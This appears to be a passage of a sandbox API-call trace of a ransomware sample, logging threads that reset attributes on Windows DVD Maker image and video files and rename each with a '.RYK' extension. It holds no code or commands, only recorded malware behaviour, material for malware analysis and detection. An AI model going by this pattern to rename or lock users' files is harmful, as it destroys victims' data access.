	[0172.142] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.142] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 706
	os_tid = 0x11dc

	[0172.144] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png", dwFileAttributes=0x80) returned 0
	[0172.144] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 707
	os_tid = 0x11e0

	[0172.147] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png", dwFileAttributes=0x80) returned 0
	[0172.147] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 709
	os_tid = 0x1204

	[0172.934] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png", dwFileAttributes=0x80) returned 0
	[0172.934] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 710
	os_tid = 0x1208

	[0172.937] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png", dwFileAttributes=0x80) returned 0
	[0173.032] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.033] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 711
	os_tid = 0x120c

	[0172.938] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png", dwFileAttributes=0x80) returned 0
	[0173.034] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.034] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 712
	os_tid = 0x1210

	[0172.939] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png", dwFileAttributes=0x80) returned 0
	[0173.037] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 713
	os_tid = 0x1214

	[0172.941] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png", dwFileAttributes=0x80) returned 0
	[0172.942] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.942] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 714
	os_tid = 0x1218

	[0173.117] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv", dwFileAttributes=0x80) returned 0
	[0173.343] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.343] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 716
	os_tid = 0x121c

	[0173.118] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0173.345] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 717
	os_tid = 0x1220

	[0173.120] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv", dwFileAttributes=0x80) returned 0
	[0173.350] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 718
	os_tid = 0x1224

	[0173.121] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0173.352] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 719
	os_tid = 0x1228

	[0173.122] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0173.354] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 720
	os_tid = 0x122c

	[0173.124] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png", dwFileAttributes=0x80) returned 0
	[0173.356] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 721
	os_tid = 0x1230

	[0173.126] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png", dwFileAttributes=0x80) returned 0
	[0173.127] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 722
	os_tid = 0x1234

	[0173.130] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png", dwFileAttributes=0x80) returned 0
	[0173.130] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.130] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 723
	os_tid = 0x1238

	[0173.133] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png", dwFileAttributes=0x80) returned 0
	[0173.358] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 724
	os_tid = 0x123c

	[0173.134] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png", dwFileAttributes=0x80) returned 0
	[0173.360] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 725
	os_tid = 0x1240

	[0173.136] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png", dwFileAttributes=0x80) returned 0
	[0173.362] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 726
	os_tid = 0x1244

	[0173.364] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png", dwFileAttributes=0x80) returned 0
	[0173.364] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 728
	os_tid = 0x124c

	[0173.366] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv", dwFileAttributes=0x80) returned 0
	[0173.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 729
	os_tid = 0x1250

	[0173.367] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0173.369] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 730
	os_tid = 0x1254

	[0173.371] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv", dwFileAttributes=0x80) returned 0
	[0173.371] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 731
	os_tid = 0x1258

	[0173.373] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0173.373] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
